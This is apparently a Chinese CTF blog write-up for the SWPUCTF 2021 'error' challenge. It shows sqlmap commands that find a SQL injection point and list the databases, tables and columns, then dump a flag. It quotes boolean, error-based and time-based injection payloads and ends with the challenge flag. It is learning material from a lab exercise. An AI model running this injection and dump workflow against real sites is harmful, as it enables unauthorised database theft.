[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error wp

信息搜集

查看页面:

在这里插入图片描述

输个单引号会报错:

在这里插入图片描述

显然是 SQL 注入。

提示看看有没有什么捷径,你要说捷径的话,sqlmap?你不说我也会用 sqlmap 先跑一下,哈哈。

sqlmap 的使用

先简单测试一下看能不能跑出来:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" --batch

-u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”) (指定 URL)

–batch Never ask for user input, use the default behavior (不再询问,默认执行)

返回结果:

sqlmap identified the following injection point(s) with a total of 223 HTTP(s) requests:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 1142=1142 AND 'Bbac'='Bbac

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 1149 FROM(SELECT COUNT(*),CONCAT(0x7162627171,(SELECT (ELT(1149=1149,1))),0x716b767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'thit'='thit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))HWge) AND 'SCoq'='SCoq

根据返回结果来看,可以用布尔盲注(boolean-based blind),报错注入(error-based),时间盲注(time-based blind) 。

不过既然都用 sqlmap 了,就不必在乎是哪种注入了,能跑通就行。

查看所有数据库:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" --dbs --batch

–dbs Enumerate DBMS databases(查看所有数据库)

返回结果:

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db

不过在 ctf 中,一般只需要查看当前数据库即可。

查看当前数据库:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" --current-db --batch

–current-db Retrieve DBMS current database(查看当前数据库)

返回结果:

current database: 'test_db'
查看指定数据库下的所有表:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" -D test_db --tables --batch

-D DB DBMS database to enumerate(指定数据库)

–tables Enumerate DBMS database tables(查看所有表)

返回结果:

Database: test_db
[2 tables]
+---------+
| test_tb |
| users   |
+---------+
查看指定数据库指定表中的所有列名:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" -D test_db -T test_tb --columns --batch

-T TBL DBMS database table(s) to enumerate(指定表)

–columns Enumerate DBMS database table columns(列举所有列名)

返回结果:

Database: test_db
Table: test_tb
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
| id     | int(11)     |
+--------+-------------+
查看指定数据库指定表指定列中的所有内容:
sqlmap -u "http://node4.anna.nssctf.cn:28069/index.php?id=1" -D test_db -T test_tb -C flag --dump --batch

-C COL DBMS database table column(s) to enumerate(指定列名)

–dump Dump DBMS database table entries(列出当前列所有内容)

返回结果:

Database: test_db
Table: test_tb
[1 entry]
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| NSSCTF{5830169a-cff1-4daa-b648-6961414eb2fc} |
+----------------------------------------------+

总结

之前使用 sqlmap 一直不太熟练,正好借此机会熟悉一下。

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值